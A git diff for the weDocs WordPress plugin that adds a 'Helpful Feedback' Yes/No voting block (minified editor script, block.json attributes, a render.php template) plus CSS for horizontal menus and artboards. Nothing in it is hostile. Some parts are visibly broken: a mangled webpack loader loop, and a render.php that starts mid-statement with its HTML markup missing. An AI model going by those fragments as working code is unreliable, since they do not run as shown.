o=(0,u.useBlockProps)(),{questionText:a,layout:r,alignment:c,showVoteCount:i,allowAnonymous:s,yesButtonText:m,noButtonText:_,thankYouMessage:p,containerBgColor:b,containerBgHoverColor:w,containerPadding:f,containerMargin:x,containerBorderStyle:E,containerBorderColor:B,containerBorderWidth:y,containerBorderRadius:S,containerBoxShadow:T,titleColor:k,titleFontSize:P,titleFontWeight:F,titleLineHeight:R,titleLetterSpacing:H,titlePadding:$,titleMargin:N,yesButtonColor:M,yesButtonHoverColor:A,yesButtonActiveColor:O,noButtonColor:D,noButtonHoverColor:L,noButtonActiveColor:W,buttonTextColor:I,buttonTextHoverColor:V,iconWidth:j,iconHeight:z,iconColor:U,iconHoverColor:G,innerIconColor:Y,innerIconHoverColor:Z,buttonBorderStyle:q,buttonBorderColor:Q,buttonBorderHoverColor:J,buttonBorderWidth:K,buttonBorderRadius:X,buttonBoxShadow:ee,additionalCssClass:te,dataAttributes:oe}=e,le=[{label:(0,n.__)("Layout 1","wedocs"),value:"layout1",svg:(0,l.createElement)("svg",{width:"60",height:"40",viewBox:"0 0 60 40"},(0,l.createElement)("rect",{x:"5",y:"15",width:"15",height:"10",fill:"#4CAF50"}),(0,l.createElement)("rect",{x:"25",y:"15",width:"15",height:"10",fill:"#9e9e9e"}),(0,l.createElement)("text",{x:"30",y:"8",fontSize:"8",textAnchor:"middle"},"Question"))},{label:(0,n.__)("Layout 2","wedocs"),value:"layout2",svg:(0,l.createElement)("svg",{width:"60",height:"40",viewBox:"0 0 60 40"},(0,l.createElement)("circle",{cx:"15",cy:"20",r:"8",fill:"#4CAF50"}),(0,l.createElement)("circle",{cx:"35",cy:"20",r:"8",fill:"#9e9e9e"}),(0,l.createElement)("text",{x:"30",y:"8",fontSize:"8",textAnchor:"middle"},"Question"))}],ae=[{label:(0,n.__)("Left","wedocs"),value:"left"},{label:(0,n.__)("Center","wedocs"),value:"center"},{label:(0,n.__)("Right","wedocs"),value:"right"}],ne=[{label:(0,n.__)("None","wedocs"),value:"none"},{label:(0,n.__)("Solid","wedocs"),value:"solid"},{label:(0,n.__)("Dashed","wedocs"),value:"dashed"},{label:(0,n.__)("Dotted","wedocs"),value:"dotted"}],re=[{label:(0,n.__)("Normal","wedocs"),value:"400"},{label:(0,n.__)("Medium","wedocs"),value:"500"},{label:(0,n.__)("Semi Bold","wedocs"),value:"600"},{label:(0,n.__)("Bold","wedocs"),value:"700"}],ce={backgroundColor:b,padding:`${f.top} ${f.right} ${f.bottom} ${f.left}`,margin:`${x.top} ${x.right} ${x.bottom} ${x.left}`,border:"none"!==E?`${y.top} ${E} ${B}`:"none",borderRadius:`${S.top} ${S.right} ${S.bottom} ${S.left}`,boxShadow:T,textAlign:c,transition:"all 0.3s ease"},ie={color:k,fontSize:P,fontWeight:F,lineHeight:R,letterSpacing:H,padding:`${$.top} ${$.right} ${$.bottom} ${$.left}`,margin:`${N.top} ${N.right} ${N.bottom} ${N.left}`},se={border:"none"!==q?`${K} ${q} ${Q}`:"none",borderRadius:X,boxShadow:ee,color:I,padding:"12px 24px",margin:"0 8px",cursor:"pointer",display:"inline-flex",alignItems:"center",gap:"8px",transition:"all 0.3s ease"},de={...se,backgroundColor:M},ue={...se,backgroundColor:D},ge={width:j,height:z,color:U};return(0,l.createElement)(d.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("General Settings","wedocs"),initialOpen:!0},(0,l.createElement)(g.TextControl,{label:(0,n.__)("Question Text","wedocs"),value:a,onChange:e=>t({questionText:e}),help:(0,n.__)("The question to ask users about the article","wedocs")}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Yes Button Text","wedocs"),value:m,onChange:e=>t({yesButtonText:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("No Button Text","wedocs"),value:_,onChange:e=>t({noButtonText:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Thank You Message","wedocs"),value:p,onChange:e=>t({thankYouMessage:e}),help:(0,n.__)("Message shown after voting","wedocs")}),(0,l.createElement)(g.ToggleControl,{label:(0,n.__)("Show Vote Count","wedocs"),checked:i,onChange:e=>t({showVoteCount:e})}),(0,l.createElement)(g.ToggleControl,{label:(0,n.__)("Allow Anonymous Voting","wedocs"),checked:s,onChange:e=>t({allowAnonymous:e}),help:(0,n.__)("Allow guests to vote without logging in","wedocs")})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Layout & Alignment","wedocs"),initialOpen:!1},(0,l.createElement)("label",null,(0,n.__)("Layout Style","wedocs")),(0,l.createElement)(h,{selected:r,options:le,onChange:e=>t({layout:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Alignment","wedocs"),value:c,options:ae,onChange:e=>t({alignment:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Container Styling","wedocs"),initialOpen:!1},(0,l.createElement)(g.__experimentalToolsPanel,{label:(0,n.__)("Container Settings","wedocs")},(0,l.createElement)(g.__experimentalToolsPanelItem,{hasValue:()=>"#ffffff"!==b,label:(0,n.__)("Background Color","wedocs"),onDeselect:()=>t({containerBgColor:"#ffffff"})},(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Background Color","wedocs"),value:b,onChange:e=>t({containerBgColor:e||"#ffffff"})})),(0,l.createElement)(g.__experimentalToolsPanelItem,{hasValue:()=>"#f9f9f9"!==w,label:(0,n.__)("Background Hover Color","wedocs"),onDeselect:()=>t({containerBgHoverColor:"#f9f9f9"})},(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Background Hover Color","wedocs"),value:w,onChange:e=>t({containerBgHoverColor:e||"#f9f9f9"})}))),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Padding","wedocs"),values:f,onChange:e=>t({containerPadding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Margin","wedocs"),values:x,onChange:e=>t({containerMargin:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Style","wedocs"),value:E,options:ne,onChange:e=>t({containerBorderStyle:e})}),"none"!==E&&(0,l.createElement)(d.Fragment,null,(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Border Color","wedocs"),value:B,onChange:e=>t({containerBorderColor:e||"#e0e0e0"})}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Border Width","wedocs"),values:y,onChange:e=>t({containerBorderWidth:e})})),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Border Radius","wedocs"),values:S,onChange:e=>t({containerBorderRadius:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Box Shadow","wedocs"),value:T,onChange:e=>t({containerBoxShadow:e}),help:(0,n.__)("CSS box-shadow value","wedocs")})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Title Styling","wedocs"),initialOpen:!1},(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Title Color","wedocs"),value:k,onChange:e=>t({titleColor:e||"#333333"})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Font Size","wedocs"),value:P,onChange:e=>t({titleFontSize:e}),help:(0,n.__)("e.g., 16px, 1.2em","wedocs")}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Font Weight","wedocs"),value:F,options:re,onChange:e=>t({titleFontWeight:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Line Height","wedocs"),value:R,onChange:e=>t({titleLineHeight:e}),help:(0,n.__)("e.g., 1.4, 24px","wedocs")}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Letter Spacing","wedocs"),value:H,onChange:e=>t({titleLetterSpacing:e}),help:(0,n.__)("e.g., 0px, 1px","wedocs")}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Title Padding","wedocs"),values:$,onChange:e=>t({titlePadding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Title Margin","wedocs"),values:N,onChange:e=>t({titleMargin:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Button Styling","wedocs"),initialOpen:!1},(0,l.createElement)("h4",null,(0,n.__)("Yes Button Colors","wedocs")),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Normal Color","wedocs"),value:M,onChange:e=>t({yesButtonColor:e||"#4CAF50"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Hover Color","wedocs"),value:A,onChange:e=>t({yesButtonHoverColor:e||"#45a049"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Active Color","wedocs"),value:O,onChange:e=>t({yesButtonActiveColor:e||"#2e7d32"})}),(0,l.createElement)("h4",null,(0,n.__)("No Button Colors","wedocs")),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Normal Color","wedocs"),value:D,onChange:e=>t({noButtonColor:e||"#9e9e9e"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Hover Color","wedocs"),value:L,onChange:e=>t({noButtonHoverColor:e||"#757575"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Active Color","wedocs"),value:W,onChange:e=>t({noButtonActiveColor:e||"#616161"})}),(0,l.createElement)("h4",null,(0,n.__)("Button Text Colors","wedocs")),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Text Color","wedocs"),value:I,onChange:e=>t({buttonTextColor:e||"#ffffff"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Text Hover Color","wedocs"),value:V,onChange:e=>t({buttonTextHoverColor:e||"#ffffff"})}),(0,l.createElement)("h4",null,(0,n.__)("Icon Settings","wedocs")),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Icon Width","wedocs"),value:j,onChange:e=>t({iconWidth:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Icon Height","wedocs"),value:z,onChange:e=>t({iconHeight:e})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Icon Color","wedocs"),value:U,onChange:e=>t({iconColor:e||"#ffffff"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Icon Hover Color","wedocs"),value:G,onChange:e=>t({iconHoverColor:e||"#ffffff"})}),(0,l.createElement)("h4",null,(0,n.__)("Button Borders","wedocs")),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Style","wedocs"),value:q,options:ne,onChange:e=>t({buttonBorderStyle:e})}),"none"!==q&&(0,l.createElement)(d.Fragment,null,(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Border Color","wedocs"),value:Q,onChange:e=>t({buttonBorderColor:e||"transparent"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Border Hover Color","wedocs"),value:J,onChange:e=>t({buttonBorderHoverColor:e||"transparent"})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Border Width","wedocs"),value:K,onChange:e=>t({buttonBorderWidth:e})})),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Border Radius","wedocs"),value:X,onChange:e=>t({buttonBorderRadius:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Box Shadow","wedocs"),value:ee,onChange:e=>t({buttonBoxShadow:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Advanced","wedocs"),initialOpen:!1},(0,l.createElement)(g.TextControl,{label:(0,n.__)("Additional CSS Class(es)","wedocs"),value:te,onChange:e=>t({additionalCssClass:e}),help:(0,n.__)("Separate multiple classes with spaces","wedocs")}))),(0,l.createElement)("div",{...o},(0,l.createElement)("div",{className:`wedocs-helpful-feedback ${r} ${te}`,style:ce},(0,l.createElement)("div",{className:"wedocs-feedback-title",style:ie},a),(0,l.createElement)("div",{className:"wedocs-feedback-buttons"},(0,l.createElement)("button",{className:"wedocs-feedback-button wedocs-feedback-yes",style:de,disabled:!0},(0,l.createElement)("span",{className:"wedocs-feedback-icon",style:ge},C),m,i&&(0,l.createElement)("span",{className:"vote-count"}," (0)")),(0,l.createElement)("button",{className:"wedocs-feedback-button wedocs-feedback-no",style:ue,disabled:!0},(0,l.createElement)("span",{className:"wedocs-feedback-icon",style:ge},v),_,i&&(0,l.createElement)("span",{className:"vote-count"}," (0)"))),(0,l.createElement)("div",{className:"wedocs-feedback-preview-note",style:{marginTop:"10px",fontSize:"12px",opacity:"0.7"}},(0,n.__)("Preview mode - voting disabled in editor","wedocs")))))},save:()=>null})},609:e=>{e.exports=window.React}},o={};function l(e){var a=o[e];if(void 0!==a)return a.exports;var n=o[e]={exports:{}};return t[e](n,n.exports,l),n.exports}l.m=t,e=[],l.O=(t,o,a,n)=>{if(!o){var r=1/0;for(d=0;d=n)&&Object.keys(l.O).every((e=>l.O[e](o[i])))?o.splice(i--,1):(c=!1,n0&&e[d-1][2]>n;d--)e[d]=e[d-1];e[d]=[o,a,n]},l.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{var e={366:0,337:0};l.O.j=t=>0===e[t];var t=(t,o)=>{var a,n,r=o[0],c=o[1],i=o[2],s=0;if(r.some((t=>0!==e[t]))){for(a in c)l.o(c,a)&&(l.m[a]=c[a]);if(i)var d=i(l)}for(t&&t(o);sl(642)));a=l.O(a)})(); \ No newline at end of file diff --git a/assets/build/blocks/HelpfulFeedback/block.json b/assets/build/blocks/HelpfulFeedback/block.json new file mode 100644 index 00000000..04a2e2a5 --- /dev/null +++ b/assets/build/blocks/HelpfulFeedback/block.json @@ -0,0 +1,234 @@ +{ + "$schema": "https://schemas.wp.org/trunk/block.json", + "apiVersion": 3, + "name": "wedocs/helpful-feedback", + "version": "1.0.0", + "title": "weDocs - Helpful Feedback", + "icon": "thumbs-up", + "category": "widgets", + "description": "Add a feedback voting system for articles with Yes/No buttons", + "supports": { + "html": false, + "anchor": true + }, + "editorScript": "file:./index.js", + "editorStyle": "file:./index.css", + "style": "file:./style-index.css", + "render": "file:./render.php", + "attributes": { + "questionText": { + "type": "string", + "default": "Was this article helpful to you?" + }, + "layout": { + "type": "string", + "default": "layout1" + }, + "alignment": { + "type": "string", + "default": "center" + }, + "showVoteCount": { + "type": "boolean", + "default": true + }, + "allowAnonymous": { + "type": "boolean", + "default": true + }, + "yesButtonText": { + "type": "string", + "default": "Yes" + }, + "noButtonText": { + "type": "string", + "default": "No" + }, + "thankYouMessage": { + "type": "string", + "default": "Thank you for your feedback!" + }, + "containerBgColor": { + "type": "string", + "default": "#ffffff" + }, + "containerBgHoverColor": { + "type": "string", + "default": "#f9f9f9" + }, + "containerPadding": { + "type": "object", + "default": { + "top": "20px", + "right": "20px", + "bottom": "20px", + "left": "20px" + } + }, + "containerMargin": { + "type": "object", + "default": { + "top": "20px", + "right": "0px", + "bottom": "20px", + "left": "0px" + } + }, + "containerBorderStyle": { + "type": "string", + "default": "solid" + }, + "containerBorderColor": { + "type": "string", + "default": "#e0e0e0" + }, + "containerBorderWidth": { + "type": "object", + "default": { + "top": "1px", + "right": "1px", + "bottom": "1px", + "left": "1px" + } + }, + "containerBorderRadius": { + "type": "object", + "default": { + "top": "8px", + "right": "8px", + "bottom": "8px", + "left": "8px" + } + }, + "containerBoxShadow": { + "type": "string", + "default": "0 2px 4px rgba(0,0,0,0.1)" + }, + "titleColor": { + "type": "string", + "default": "#333333" + }, + "titleFontSize": { + "type": "string", + "default": "16px" + }, + "titleFontWeight": { + "type": "string", + "default": "600" + }, + "titleLineHeight": { + "type": "string", + "default": "1.4" + }, + "titleLetterSpacing": { + "type": "string", + "default": "0px" + }, + "titlePadding": { + "type": "object", + "default": { + "top": "0px", + "right": "0px", + "bottom": "16px", + "left": "0px" + } + }, + "titleMargin": { + "type": "object", + "default": { + "top": "0px", + "right": "0px", + "bottom": "0px", + "left": "0px" + } + }, + "yesButtonColor": { + "type": "string", + "default": "#4CAF50" + }, + "yesButtonHoverColor": { + "type": "string", + "default": "#45a049" + }, + "yesButtonActiveColor": { + "type": "string", + "default": "#2e7d32" + }, + "noButtonColor": { + "type": "string", + "default": "#9e9e9e" + }, + "noButtonHoverColor": { + "type": "string", + "default": "#757575" + }, + "noButtonActiveColor": { + "type": "string", + "default": "#616161" + }, + "buttonTextColor": { + "type": "string", + "default": "#ffffff" + }, + "buttonTextHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "iconWidth": { + "type": "string", + "default": "20px" + }, + "iconHeight": { + "type": "string", + "default": "20px" + }, + "iconColor": { + "type": "string", + "default": "#ffffff" + }, + "iconHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "innerIconColor": { + "type": "string", + "default": "#ffffff" + }, + "innerIconHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "buttonBorderStyle": { + "type": "string", + "default": "solid" + }, + "buttonBorderColor": { + "type": "string", + "default": "transparent" + }, + "buttonBorderHoverColor": { + "type": "string", + "default": "transparent" + }, + "buttonBorderWidth": { + "type": "string", + "default": "1px" + }, + "buttonBorderRadius": { + "type": "string", + "default": "6px" + }, + "buttonBoxShadow": { + "type": "string", + "default": "0 2px 4px rgba(0,0,0,0.1)" + }, + "additionalCssClass": { + "type": "string", + "default": "" + }, + "dataAttributes": { + "type": "object", + "default": {} + } + } +} \ No newline at end of file diff --git a/assets/build/blocks/HelpfulFeedback/render.php b/assets/build/blocks/HelpfulFeedback/render.php new file mode 100644 index 00000000..18ec21b7 --- /dev/null +++ b/assets/build/blocks/HelpfulFeedback/render.php @@ -0,0 +1,390 @@ + '1px', 'right' => '1px', 'bottom' => '1px', 'left' => '1px']; + $container_styles[] = sprintf( + 'border: %s %s %s', + esc_attr($border_width['top'] ?? '1px'), + esc_attr($attributes['containerBorderStyle']), + esc_attr($attributes['containerBorderColor'] ?? '#e0e0e0') + ); + } + if (!empty($attributes['containerBorderRadius'])) { + $radius = $attributes['containerBorderRadius']; + $container_styles[] = sprintf( + 'border-radius: %s %s %s %s', + esc_attr($radius['top'] ?? '8px'), + esc_attr($radius['right'] ?? '8px'), + esc_attr($radius['bottom'] ?? '8px'), + esc_attr($radius['left'] ?? '8px') + ); + } + if (!empty($attributes['containerBoxShadow'])) { + $container_styles[] = 'box-shadow: ' . esc_attr($attributes['containerBoxShadow']); + } + $container_styles[] = 'text-align: ' . esc_attr($alignment); + + // Build title styles + $title_styles = []; + if (!empty($attributes['titleColor'])) { + $title_styles[] = 'color: ' . esc_attr($attributes['titleColor']); + } + if (!empty($attributes['titleFontSize'])) { + $title_styles[] = 'font-size: ' . esc_attr($attributes['titleFontSize']); + } + if (!empty($attributes['titleFontWeight'])) { + $title_styles[] = 'font-weight: ' . esc_attr($attributes['titleFontWeight']); + } + if (!empty($attributes['titleLineHeight'])) { + $title_styles[] = 'line-height: ' . esc_attr($attributes['titleLineHeight']); + } + if (!empty($attributes['titleLetterSpacing'])) { + $title_styles[] = 'letter-spacing: ' . esc_attr($attributes['titleLetterSpacing']); + } + if (!empty($attributes['titlePadding'])) { + $padding = $attributes['titlePadding']; + $title_styles[] = sprintf( + 'padding: %s %s %s %s', + esc_attr($padding['top'] ?? '0px'), + esc_attr($padding['right'] ?? '0px'), + esc_attr($padding['bottom'] ?? '16px'), + esc_attr($padding['left'] ?? '0px') + ); + } + if (!empty($attributes['titleMargin'])) { + $margin = $attributes['titleMargin']; + $title_styles[] = sprintf( + 'margin: %s %s %s %s', + esc_attr($margin['top'] ?? '0px'), + esc_attr($margin['right'] ?? '0px'), + esc_attr($margin['bottom'] ?? '0px'), + esc_attr($margin['left'] ?? '0px') + ); + } + + // CSS classes + $css_classes = [ + 'wedocs-helpful-feedback', + esc_attr($layout), + esc_attr($alignment), + ]; + + if ($has_voted) { + $css_classes[] = 'has-voted'; + $css_classes[] = 'voted-' . esc_attr($voted_option); + } + + if (!empty($additional_css_class)) { + $css_classes[] = esc_attr($additional_css_class); + } + + // Data attributes + $data_attributes = []; + $data_attributes['data-post-id'] = $post_id; + $data_attributes['data-allow-anonymous'] = $allow_anonymous ? '1' : '0'; + $data_attributes['data-thank-you-message'] = esc_attr($thank_you_message); + + if (!empty($attributes['dataAttributes']) && is_array($attributes['dataAttributes'])) { + foreach ($attributes['dataAttributes'] as $key => $value) { + if (!empty($key) && !empty($value)) { + $data_attributes['data-' . esc_attr($key)] = esc_attr($value); + } + } + } + + // Build data attributes string + $data_attrs_string = ''; + foreach ($data_attributes as $key => $value) { + $data_attrs_string .= ' ' . $key . '="' . $value . '"'; + } + error_log(print_r( [plugins_url( '/assets/js/helpful-feedback.js', WEDOCS_FILE) ], true )); + + + // Enqueue frontend script and styles + wp_enqueue_script('wedocs-helpful-feedback-frontend', plugins_url( '/assets/js/helpful-feedback.js', WEDOCS_FILE), ['jquery'], '1.0.0', true); + wp_localize_script('wedocs-helpful-feedback-frontend', 'wedocsHelpfulFeedback', [ + 'ajax_url' => admin_url('admin-ajax.php'), + 'nonce' => wp_create_nonce('wedocs_helpful_feedback_nonce') + ]); + + // Generate unique block ID + $block_id = 'wedocs-helpful-feedback-' . $post_id . '-' . wp_rand(1000, 9999); + ?> + +
+ > + +
+ +
+ +
+ + + +
+ +
+
+ +
+ +
+
+ + + + + + + + + + + + + + + +
+ + +
+ + + +
+ +
+
+ +
+ + + + array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '7fd38c9fb0b998c4cff7'); + array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'a9cccdef25a563e1e701'); diff --git a/assets/build/index.css b/assets/build/index.css index 2bf0fc96..7f81511f 100644 --- a/assets/build/index.css +++ b/assets/build/index.css @@ -2096,6 +2096,13 @@ select { -webkit-mask-position: center; mask-position: center; } +.menu.horizontal { + display: inline-flex; + flex-direction: row; +} +.menu.horizontal :where(li) { + flex-direction: row; +} .menu > :where(li.disabled > *:not(ul):focus) { cursor: auto; } @@ -2542,6 +2549,14 @@ select { -webkit-mask-image: url("data:image/svg+xml,%3csvg width=%27200%27 height=%27200%27 xmlns=%27http://www.w3.org/2000/svg%27%3e%3cpath d=%27M100 0C20 0 0 20 0 100s20 100 100 100 100-20 100-100S180 0 100 0Z%27/%3e%3c/svg%3e"); mask-image: url("data:image/svg+xml,%3csvg width=%27200%27 height=%27200%27 xmlns=%27http://www.w3.org/2000/svg%27%3e%3cpath d=%27M100 0C20 0 0 20 0 100s20 100 100 100 100-20 100-100S180 0 100 0Z%27/%3e%3c/svg%3e"); } +.menu.horizontal > li.bordered > a, + .menu.horizontal > li.bordered > button, + .menu.horizontal > li.bordered > span { + border-left-width: 0px; + border-bottom-width: 4px; + --tw-border-opacity: 1; + border-color: hsl(var(--p) / var(--tw-border-opacity)); +} .menu :where(li:not(.menu-title):not(:empty)) > :where(:not(ul).active), .menu :where(li:not(.menu-title):not(:empty)) > :where(*:not(ul):active) { --tw-bg-opacity: 1; @@ -2936,6 +2951,36 @@ select { .prose :where(tbody tr, thead):not(:where([class~="not-prose"] *)) { border-bottom-color: hsl(var(--bc) / 20%); } +.artboard.phone-1.horizontal, + .artboard.phone-1.artboard-horizontal { + width: 568px; + height: 320px; +} +.artboard.phone-2.horizontal, + .artboard.phone-2.artboard-horizontal { + width: 667px; + height: 375px; +} +.artboard.phone-3.horizontal, + .artboard.phone-3.artboard-horizontal { + width: 736px; + height: 414px; +} +.artboard.phone-4.horizontal, + .artboard.phone-4.artboard-horizontal { + width: 812px; + height: 375px; +} +.artboard.phone-5.horizontal, + .artboard.phone-5.artboard-horizontal { + width: 896px; + height: 414px; +} +.artboard.phone-6.horizontal, + .artboard.phone-6.artboard-horizontal { + width: 1024px; + height: 320px; +} .btm-nav-xs>*:where(.active) { border-top-width: 1px; } diff --git a/assets/build/style-block.css b/assets/build/style-block.css index 55638f71..22190a29 100644 --- a/assets/build/style-block.css +++ b/assets/build/style-block.css @@ -1,2 +1,3 @@ .wp-block-wedocs-wedocs-search{--field-color: #FFFFFF;--field-bg-color: #FFFFFF;--field-icon-color: #FFFFFF;--field-btn-bg-color: #3B82F6;--field-icon-hover-color: #FFFFFF;--field-btn-bg-hover-color: #2563EB}.wedocs-search-input,.wedocs-editor-search-input{width:50%;display:flex;overflow:hidden;position:relative}.wedocs-search-input .search-field,.wedocs-editor-search-input .search-field{margin:0;width:100%;height:48px;font-size:14px;background:#fff;padding:14px 22px;border-radius:100px;border:1px solid #dbdbdb}.wedocs-search-input .search-field::-moz-placeholder, .wedocs-editor-search-input .search-field::-moz-placeholder{color:#c5c5c5}.wedocs-search-input .search-field::placeholder,.wedocs-editor-search-input .search-field::placeholder{color:#c5c5c5}.wedocs-search-input .search-field:focus,.wedocs-editor-search-input .search-field:focus{outline:none;box-shadow:none;border:1px solid #dbdbdb}.wedocs-search-input .search-submit,.wedocs-editor-search-input .search-submit{top:0;right:0;border:0;margin:0;height:100%;display:flex;cursor:pointer;width:-moz-fit-content;width:fit-content;padding:14px 26px;position:absolute;align-items:center;border-radius:100px}.wedocs-search-input{margin-left:auto;margin-bottom:4%}.wedocs-search-toggle{margin-bottom:0 !important}.wedocs-search-toggle .components-h-stack{flex-direction:row-reverse}.wedocs-search-color-settings .block-editor-panel-color-gradient-settings{border-top:0;padding-left:0;padding-right:0}.wedocs-search-color-settings .block-editor-panel-color-gradient-settings .block-editor-tools-panel-color-gradient-settings__item.first{margin-top:0}.radio-image-control-options{display:flex;flex-direction:row;justify-content:space-between}.radio-image-control-options .radio-image-option{margin-right:10px}.radio-image-control-options .radio-image-option label{cursor:pointer;display:block}.radio-image-control-options .radio-image-option input[type=radio]{display:none}.radio-image-control-options .radio-image-option label i,.radio-image-control-options .radio-image-option label img{width:30px;height:30px;display:block;background-size:cover;background-position:center}.backdrop{top:0;left:0;z-index:0;width:100%;opacity:.5;height:100%;background:#fff;position:absolute}.wp-block-wedocs-wedocs-search .wedocs-search-input .search-field{background-color:var(--field-color) !important}.wp-block-wedocs-wedocs-search .wedocs-search-input .search-field:hover{background-color:var(--field-bg-color) !important}.wp-block-wedocs-wedocs-search .wedocs-search-input .search-submit{background-color:var(--field-btn-bg-color) !important}.wp-block-wedocs-wedocs-search .wedocs-search-input .search-submit svg path{fill:var(--field-icon-color) !important}.wp-block-wedocs-wedocs-search .wedocs-search-input .search-submit svg path:hover{fill:var(--field-icon-hover-color) !important}.wp-block-wedocs-wedocs-search .wedocs-search-input .search-submit:hover{background-color:var(--field-btn-bg-hover-color) !important}.wp-block-wedocs-wedocs-search:not(.wp-block){display:block} .wedocs-color-control{margin:1em 0}.wedocs-color-control label{display:block;margin-bottom:.5em}.wedocs-docs-pagination{margin:30px 0;text-align:center}.wedocs-docs-pagination ul{display:inline-flex;list-style:none;padding:0;margin:0;gap:5px}.wedocs-docs-pagination li{margin:0}.wedocs-docs-pagination button{display:inline-block;padding:8px 12px;border:1px solid var(--wedocs-pagination-border-color, #ddd);border-radius:var(--wedocs-border-radius, 4px);text-decoration:none;color:var(--wedocs-pagination-text-color, #333);background:var(--wedocs-pagination-background-color, #fff);cursor:pointer;transition:all .2s}.wedocs-docs-pagination button:hover{background:var(--wedocs-pagination-hover-color, #f5f5f5);color:var(--wedocs-pagination-text-hover-color, #0073aa)}.wedocs-docs-pagination button.is-active{background:var(--wedocs-pagination-hover-color, #f5f5f5);border-color:var(--wedocs-pagination-hover-color, #ccc)}.wedocs-block-wrapper{width:100%;max-width:1200px;margin:0 auto;padding:.5rem}.wedocs-preview-title{margin-bottom:1rem;font-size:1.1rem;color:var(--wedocs-text-secondary-color, #757575)}.wedocs-docs-grid{display:grid;gap:1.5rem;width:100%;margin:0;padding:0;list-style:none}.wedocs-docs-grid--1x1{grid-template-columns:1fr}.wedocs-docs-grid--1x2{grid-template-columns:repeat(2, 1fr)}@media(max-width: 768px){.wedocs-docs-grid--1x2{grid-template-columns:1fr}}.wedocs-docs-grid .inside{display:flex;color:#063250;font-size:18px;min-height:240px;list-style:none}.wedocs-docs-grid .inside svg{width:64px;height:24px;margin:2px .5rem 0 0}.wedocs-docs-grid__item{position:relative;background-color:#fff;transition:transform .2s,box-shadow .2s;list-style:none;padding:var(--wedocs-grid-padding, 1.5rem);margin:var(--wedocs-grid-margin, 0);border-width:var(--wedocs-border-width, 1px);border-style:var(--wedocs-border-type, solid);border-color:var(--wedocs-border-color, rgba(0, 0, 0, 0.1));border-radius:var(--wedocs-border-radius, 8px)}.wedocs-docs-grid__title{font-size:1.5rem;font-weight:800;color:var(--wedocs-doc-title-color, #1e1e1e);margin:0 0 .75rem;line-height:1.4}.wedocs-docs-grid__article-count{font-size:.875rem;color:var(--wedocs-text-secondary-color, #757575);margin:0}.wedocs-docs-grid__container{min-height:240px}.wedocs-docs-grid__sections{margin-top:1rem;padding:0}.wedocs-docs-grid__sections.is-collapsed .wedocs-docs-grid__articles{display:none}.wedocs-docs-grid__section-title{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none;display:flex;justify-content:space-between;align-items:center}.wedocs-docs-grid__section-title a{pointer-events:auto;text-decoration:none}.wedocs-docs-grid__section-title a:hover{text-decoration:underline}.wedocs-docs-grid__section-title svg{transition:transform .3s ease;cursor:pointer;flex-shrink:0}.wedocs-docs-grid__section-title svg.active{transform:rotate(180deg)}.wedocs-docs-grid__articles{max-height:1000px;overflow:hidden;transition:max-height .3s ease-in-out}.wedocs-docs-grid__articles.collapsed{max-height:0}.wedocs-docs-grid__articles li{opacity:1;transition:opacity .2s ease-in-out}.wedocs-docs-grid__articles.collapsed li{opacity:0}.wedocs-docs-grid__section{margin-bottom:1rem}.wedocs-docs-grid__section-title{font-size:1rem;color:var(--wedocs-doc-title-color, #1e1e1e);margin:.5rem 0}.wedocs-docs-grid__articles{margin:.5rem 0 .5rem 1rem;padding:0}.wedocs-docs-grid__articles li{color:var(--wedocs-doc-children-active-color, #0073aa);font-size:.875rem;margin-bottom:.25rem;margin-left:1rem}.wedocs-docs-grid__articles li 